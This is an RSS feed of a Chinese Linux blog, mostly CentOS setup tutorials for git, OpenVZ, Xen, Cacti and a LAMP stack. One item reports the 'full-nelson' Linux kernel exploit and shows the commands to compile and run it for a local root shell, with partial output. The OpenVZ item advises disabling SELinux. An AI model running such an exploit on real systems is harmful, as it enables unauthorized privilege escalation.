<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>小宇日志 &#187; Centos</title>
	<atom:link href="http://www.xiaoyulog.com/topic/tag/centos/feed" rel="self" type="application/rss+xml" />
	<link>http://www.xiaoyulog.com</link>
	<description></description>
	<lastBuildDate>Mon, 06 Feb 2012 10:00:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CentOS 5 上安装git</title>
		<link>http://www.xiaoyulog.com/topic/1705.html</link>
		<comments>http://www.xiaoyulog.com/topic/1705.html#comments</comments>
		<pubDate>Fri, 27 May 2011 18:13:39 +0000</pubDate>
		<dc:creator>小宇</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[git]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/?p=1705</guid>
		<description><![CDATA[在安装NIOS2-LINUX中必须要安装git，可按照Altera WiKi提供的方法根本装不上（输入命令：yum install git-all git-gui make gcc ncurses-devel bison byacc flex gawk gettext ccache zlib-devel gtk2-devel lzo-devel pax-utilslibglade2-devel），只能下载后安装： //先安装git依赖的包 yum install zlib-devel yum install openssl-devel yum install perl yum install cpio yum install expat-devel yum install gettext-devel //安装autoconf yum install autoconf //安装git wget http://www.codemonkey.org.uk/projects/git-snapshots/git/git-latest.tar.gz tar xzvf git-latest.tar.gz cd git-{date} autoconf ./configure &#8211;with-curl=/usr/local make make install]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1705.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CentOS下安装unrar</title>
		<link>http://www.xiaoyulog.com/topic/1674.html</link>
		<comments>http://www.xiaoyulog.com/topic/1674.html#comments</comments>
		<pubDate>Wed, 23 Mar 2011 11:50:51 +0000</pubDate>
		<dc:creator>小宇</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[Linux解压rar]]></category>
		<category><![CDATA[unrar]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/?p=1674</guid>
		<description><![CDATA[1.yum方式安装 # vi /etc/yum.repos.d/dag.repo 放入如下内容 复制内容到剪贴板 代码: [dag] name=Dag RPM Repository for Red Hat Enterprise Linux baseurl=http://apt.sw.be/redhat/el$releasever/en/$basearch/dag gpgcheck=1 enabled=1 gpgkey=http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt 然后直接 yum 安装 # yum -y install rar unrar 2.手动编译 下载源码包安装 复制内容到剪贴板 代码: wget http://www.rarlab.com/rar/rarlinux-3.9.3.tar.gz tar -zxvf rarlinux-3.6.0.tar.gz cd rar ./unrar 把rar和unrar复制到/bin目录: 复制内容到剪贴板 代码: cp rar unrar /bin unrar的使用: 解压rar文件到当前目录: $ unrar e file.rar 列出压缩包里的文件: [...]]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1674.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>用 VNC 访问 VMware ESXi 虚拟机控制台</title>
		<link>http://www.xiaoyulog.com/topic/1652.html</link>
		<comments>http://www.xiaoyulog.com/topic/1652.html#comments</comments>
		<pubDate>Mon, 24 Jan 2011 01:53:21 +0000</pubDate>
		<dc:creator>pornyladymale</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[minix]]></category>
		<category><![CDATA[minix-kernel]]></category>
		<category><![CDATA[remote]]></category>
		<category><![CDATA[shpere-client]]></category>
		<category><![CDATA[true]]></category>
		<category><![CDATA[vmware esxi]]></category>
		<category><![CDATA[vnc-setup]]></category>
		<category><![CDATA[VPS]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/topic/1652.html</guid>
		<description><![CDATA[ 在 VMware ESXi 上安装 Minix 以后可以通过 ssh/telnet 来访问 Minix，大部分时候这样做都足够了，但是如果我们想做一些 Minix 内核上的修改和实验 就要面临内核和系统编译后启动不了的情况，这个时候就需要直接进入 VMware ESXi 控制台来手动启动备用内核。那么有没有可能像 Xen 那样在虚拟机配置文件中加入 vnc 选项让用户可以通过 vnc 客户端来访问自己的虚拟机终端呢？作为虚拟技术的领导产品 VMware ESXi 4.1 当然也有类似的办法。有了 vnc 的支持以后我们就可以在校内的任意一台电脑或者 SunRay 瘦客户端上登录自己的 Minix 虚拟机了，这样就会非常方便我们的操作系统课程教学和学生的实验，这比以前讨论的 SunRay 在 GDM 里直接启动 VirtualBox 那种连接和使用虚拟机的方法要更好一些。VMware ESXi 提供了免费的图形化客户端工具 VMware vShpere Client，很容易操作，用 vShpere Client 连接 VMware ESXi 后关闭虚拟机，然后按照下面步骤编辑虚拟机的配置文件： 鼠标右击选择 &#8220;Edit settings&#8221;； 选择 &#8220;Options&#8221; 标签页； 在 &#8220;Advanced&#8221; 下选择 &#8220;General&#8221;； 点击 &#8220;Configuration Parameters&#8221; 按钮； 最后加入如下配置参数： RemoteDisplay.vnc.enabled = "TRUE" RemoteDisplay.vnc.password = "xiaoyuvps.com" RemoteDisplay.vnc.port = "5900" 重新启动虚拟机后就可以通过任意一个 vnc 客户端连上虚拟机的控制台了，这样就可以看到整个系统启动过程，可以自己启动和关闭虚拟机。Minix 3 一般会有2个内核，一个是当前内核，一个是备用内核，当修改编译当前内核失败以后可以用第2个选项（2 Start Custom MINIX 3）启动，非常方便修改和开发内核。关闭 Minix 以后可以通过 menu 命令选择内核： ]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1652.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在 CentOS 上安装和配置 OpenVZ</title>
		<link>http://www.xiaoyulog.com/topic/1632.html</link>
		<comments>http://www.xiaoyulog.com/topic/1632.html#comments</comments>
		<pubDate>Thu, 20 Jan 2011 04:56:45 +0000</pubDate>
		<dc:creator>Aspid</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[chkconfig-list]]></category>
		<category><![CDATA[LinuxVPS技术交流]]></category>
		<category><![CDATA[openvz]]></category>
		<category><![CDATA[virtual-environment]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[vzctl-create]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/topic/1632.html</guid>
		<description><![CDATA[ 经常有人问到 OpenVZ 和 Xen 哪个好，事实上 OpenVZ 和 Xen 不是同一层面的技术，OpenVZ 是操作系统层面（ Operating system-level virtualization ）的虚拟产品，和 FreeBSD Jail, Solaris Zone, Linux-VServer 等类似；而 Xen 和 VMware, KVM, Hyper-V 等产品站在同一阵营。OpenVZ VPS 实际上提供的是一个虚拟环境（Virtual Environment/VE），也叫容器（Container）；而 Xen VPS 提供的是基于 Hypervisor 的虚拟机（Virtual Machine），这是本质上的不同，现在大家已经习惯用 VPS 这个名字把这两种不同的产品和技术混为一谈了。比起 Xen 专注于企业虚拟化和云计算领域，OpenVZ 最大的应用可能就在低端 VPS 市场，有无数的 VPS 服务商都使用 OpenVZ 提供 10美元以下的 VPS 产品。了解一下 OpenVZ 的安装和配置也会对使用 OpenVZ VPS 有所帮助，以下的安装和配置操作在 VPSee 的一台空闲 PC 和 CentOS 5.5 上完成。（对 Xen 感兴趣的请看： 在 CentOS 上安装和配置 Xen ；对 KVM 感兴趣的请看： 在 CentOS 上安装和配置 KVM ） 安装 OpenVZ 首先加入 openvz 源、升级系统、安装 openvz 内核和 vzctl, vzquota 等工具： # cd /etc/yum.repos.d # wget http://download.openvz.org/openvz.repo # rpm --import http://download.openvz.org/RPM-GPG-Key-OpenVZ # yum update # yum install ovzkernel # yum install vzctl vzquota 调整内核参数 为了能让 VE/VPS 访问外部网络，我们必须启动 ip forwarding；如果内核出错或者运行很慢，我们希望能用特殊按键 dump 一些信息到控制台并结合 log 排错，所以建议打开 kernel.sysrq： # vi /etc/sysctl.conf ... net.ipv4.ip_forward = 1 kernel.sysrq = 1 ... 为了减少麻烦最好关闭 selinux，selinux 带来的麻烦往往比得到的好处多： # vi /etc/sysconfig/selinux ..]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1632.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thank You 2010</title>
		<link>http://www.xiaoyulog.com/topic/1633.html</link>
		<comments>http://www.xiaoyulog.com/topic/1633.html#comments</comments>
		<pubDate>Wed, 22 Dec 2010 12:42:11 +0000</pubDate>
		<dc:creator>smooneeJede</dc:creator>
				<category><![CDATA[未分类]]></category>
		<category><![CDATA[best-thing]]></category>
		<category><![CDATA[Centos]]></category>
		<category><![CDATA[christmas]]></category>
		<category><![CDATA[from-vpsee-com]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[LinuxVPS技术交流]]></category>
		<category><![CDATA[merry-christmas]]></category>
		<category><![CDATA[one-man]]></category>
		<category><![CDATA[sun]]></category>
		<category><![CDATA[very-happy]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[worst-thing]]></category>
		<category><![CDATA[虚拟化]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/topic/1633.html</guid>
		<description><![CDATA[ 很喜欢下面这句话： The best thing I ever did with my life, was to make a mistake. The worst thing I ever did, was to play it safe and wonder “what if.” 这辈子最糟糕的事情莫过于平安虚度年华， 然后回过头说 “如果当初我 &#8230;”。为了不留下遗憾，为了安抚那颗悸动的心，为了不让自己以后说 “如果当初我做 &#8230;”，2009年底 VPSee 决定开启自己的创业探索之旅，能做自己喜欢的事情并能赚钱？这就是开始创业的美好想法，现实旅程远比想象的要辛苦，不到5小时的睡眠或就只为一个测试数据，2小时的等待或就为迁移一台服务器，成本的压力让人觉得这个行业门槛虽低但做起来一点都不容易。 2010年3月12日我们终于正式推出了基于 Xen 的 VPS 托管服务，3月14日我们迎来了第一位顾客，作为创业者，你无法忘记卖出第一份产品的喜悦；没有经历过，你无法体验过程的艰辛；没有付出过，你不能体会这种历程的美妙。幸运的是创业过程中我们没有遇到什么技术障碍，直接把多年的 Linux 和 Xen 企业环境生产经验搬到 VPS 业务上，驾轻就熟。我们遇到的最大问题主要是在成本控制方面，作为 one man 服务商我们不能把价格定得太高，我们租用的服务器也不可能像我们工作环境里操作的 那些 SUN 服务器 一样强悍，成本也不允许我们提供容错、容灾、在线迁移等功能。互联网时代信息都是透明的，你知道的别人也知道，我们的服务器租用成本也不可能比竞争对手低很多。那么我们只能靠技术手段来提高性能降低成本，通过裁剪 Linux 内核、优化内核参数、优化文件系统和磁盘 IO、分散多核 CPU 计算能力等一系列手段使我们能够提供至少20％以上的性能领先优势，这意味着同一配置的服务器在保证性能的情况下我们可以比竞争对手多卖出20％的 VPS、多获得20％的利润，幸运的是技术和经验没有办法拷贝和山寨，所以这20％的利润优势将会在长期的运营中得到增厚和强化，能更好帮助我们改进产品，能让我们能更长久的活下去。我们坚信在强调细化服务的今天、在高度竞争的主机托管市场，只有提供专业和差异化的产品才有可能生存下来，所以我们选择 简单 和 稳定 作为我们产品的关键字。 我们一直非常的幸运，我们很幸运产品一推出就有很多客户信任我们；我们很幸运从热心网友那里收到了很多宝贵意见和建议；我们很幸运能吸引非常棒的客户；我们很幸运能结识一些业内朋友；我们很幸运学到了很多市场方面的知识和经验；我们很幸运收到一些合作邀请和机会；⋯⋯ 谢谢客户对我们的支持和信任，谢谢读者对我们博客的持续关注，谢谢你，Merry Christmas &#038; a very happy 2011，明年见！ ]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1633.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用 Linux 内核的多个安全漏洞获得 root 权限</title>
		<link>http://www.xiaoyulog.com/topic/1554.html</link>
		<comments>http://www.xiaoyulog.com/topic/1554.html#comments</comments>
		<pubDate>Fri, 10 Dec 2010 02:10:37 +0000</pubDate>
		<dc:creator>Galeopernia</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[failed]]></category>
		<category><![CDATA[LinuxVPS技术交流]]></category>
		<category><![CDATA[open-file]]></category>
		<category><![CDATA[resolving]]></category>
		<category><![CDATA[root-shell]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sudo-apt-get]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[VPN]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[yum-update]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/topic/1554.html</guid>
		<description><![CDATA[ 系统安全高手 Dan Rosenberg 发布了 一段 C 程序 ，这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞，可以导致本地帐号对系统进行拒绝服务或特权提升，也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell，以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过： $ sudo apt-get update $ sudo apt-get upgrade $ uname -r 2.6.32-21-server $ gcc full-nelson.c -o full-nelson $ ./full-nelson * Resolving kernel addresses... + Resolved econet_ioctl to 0xffffffffa0131510 + Resolved econet_ops to 0xffffffffa0131600 + Resolved commit_creds to 0xffffffff8108b820 + Resolved prepare_kernel_cred to 0xffffffff8108bc00 * Calculating target..]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1554.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在 CentOS 5.5 上升级 Xen 到 Xen 3.4.3</title>
		<link>http://www.xiaoyulog.com/topic/1537.html</link>
		<comments>http://www.xiaoyulog.com/topic/1537.html#comments</comments>
		<pubDate>Tue, 23 Nov 2010 22:53:52 +0000</pubDate>
		<dc:creator>Sorfroftmar</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[enterprise]]></category>
		<category><![CDATA[label]]></category>
		<category><![CDATA[LinuxVPS技术交流]]></category>
		<category><![CDATA[qumranet]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[yum-groupremove]]></category>
		<category><![CDATA[yum-update]]></category>
		<category><![CDATA[虚拟化]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/topic/1537.html</guid>
		<description><![CDATA[ 2008年 RedHat 收购 Qumranet 以后就一直在家搞他的 KVM ，没有对 Xen 做任何升级，RHEL/CentOS 5.5 上默认的 Xen 依旧是很老很老的公元2007年发布的 Xen 3.1.2 版本。更糟糕的是 RedHat 在后续的 RedHat Enterprise Linux 6 里彻底放弃了 Xen . 如果以后想在新版本的 RHEL/CentOS 上用 Xen 的话就需要使用第三方源或者 自己动手编译 Xen 源代码 。自己编译源代码问题多多，看看前面那篇文章留下的150多个评论就知道会遇到多少麻烦了，所以没有特殊要求的话，VPSee 还是建议直接使用第三方源。 # cd /etc/yum.repos.d/ # wget http://www.gitco.de/repo/GITCO-XEN3.4.3_x86_64.repo # yum update # reboot 如果上面的 yum update 没问题的话重启系统就可以了进入 xen 3.4.3 了，如果有问题导致一些依赖需要解决的话可以彻底删除 xen 后重新升级安装： # yum groupremove Virtualization # yum groupinstall Virtualization # reboot 在重启之前最好检查一下 grub 是否配置正确、默认启动是否是 xen.gz-3.4.3： # vi /boot/grub/menu.lst ... title CentOS (2.6.18-194.26.1.el5xen) root (hd0,0) kernel /xen.gz-3.4.3 dom0_mem=1024M module /vmlinuz-2.6.18-194.26.1.el5xen ro root=LABEL=/ module /initrd-2.6.18-194.26.1.el5xen.img ... ]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1537.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CentOS+Cacti安装配置</title>
		<link>http://www.xiaoyulog.com/topic/1481.html</link>
		<comments>http://www.xiaoyulog.com/topic/1481.html#comments</comments>
		<pubDate>Sat, 23 Oct 2010 03:02:56 +0000</pubDate>
		<dc:creator>小宇</dc:creator>
				<category><![CDATA[Cacti]]></category>
		<category><![CDATA[Centos]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/?p=1481</guid>
		<description><![CDATA[#################################### #Cacti Configuration #Date: 2009-11-04 #Env: Centos 5.4 x86_64 #################################### 一、准备工作 环境：Centos 5.4 x86_64 所需软件： http Php Php-mysql Php-snmp Mysql Perl-DBD-MySQL Php-pdo rrdtool Net-snmp Net-snmp-libs Net-snmp-utils #下载相关软件 cd /usr/local/src/ wget http://www.cacti.net/downloads/cacti-0.8.7e.tar.gz 二、环境介绍 主监控机是Centos 5.4 x86_64 主监控机IP=10.0.0.52 三、安装配置 （1）在主监控机上安装apache+php+gd的web环境,推荐编译安装，不再赘述，本处方便起见用yum装了 yum install php php-mysql php-snmp mysql mysql-server net-snmp net-snmp-libs net-snmp-utils php-pdo perl-DBD-MySQL （2）在主监控机上安装rrdtool,rrdtool依赖的包过多，所以选择增加源，然后用yum安装 #增加源 vi /etc/yum.repos.d/CentOS-Base.repo #在文件末尾增加以下部分 [...]]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1481.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>curl: error while loading shared libraries: libcurl.so.4: cannot open shared object file: No such file or directory</title>
		<link>http://www.xiaoyulog.com/topic/1334.html</link>
		<comments>http://www.xiaoyulog.com/topic/1334.html#comments</comments>
		<pubDate>Fri, 23 Apr 2010 15:15:41 +0000</pubDate>
		<dc:creator>小宇</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[libcurl.so.4]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/?p=1334</guid>
		<description><![CDATA[Centos ubuntu debian 都适用 curl: error while loading shared libraries: libcurl.so.4: cannot open shared object file: No such file or directory 解绝办法: ln -s /usr/lib/libcurl.so.3 /usr/lib/libcurl.so.4]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1334.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CentOS下用yum 安裝 php+mysql+apache</title>
		<link>http://www.xiaoyulog.com/topic/1181.html</link>
		<comments>http://www.xiaoyulog.com/topic/1181.html#comments</comments>
		<pubDate>Mon, 21 Dec 2009 18:24:18 +0000</pubDate>
		<dc:creator>小宇</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Centos]]></category>
		<category><![CDATA[liunx]]></category>
		<category><![CDATA[Mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Yum]]></category>

		<guid isPermaLink="false">http://www.xiaoyulog.com/?p=1181</guid>
		<description><![CDATA[1. 安裝Apahce, PHP, Mysql, 以及php連接mysql庫組件。 yum -y install httpd php mysql mysql-server php-mysql 2. 配置開機啓動服務  /sbin/chkconfig httpd on             [設置apache服務器httpd服務開機啓動]  /sbin/chkconfig –add mysqld         [在服務清單中添加mysql服務]  /sbin/chkconfig mysqld on             [設置mysql服務開機啓動]  /sbin/service httpd start            [啓動httpd服務,與開機啓動無關]  /sbin/service mysqld start           [啓動mysql服務,與開機無關] 3.設置mysql數據庫root帳號密碼。 mysqladmin -u root password ‘newpassword’           [引號內填密碼] 4. 讓mysql數據庫更安全 mysql -u root -p mysql&#62; DROP DATABASE test;                            [刪除test數據庫] mysql&#62; DELETE [...]]]></description>
		<wfw:commentRss>http://www.xiaoyulog.com/topic/1181.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

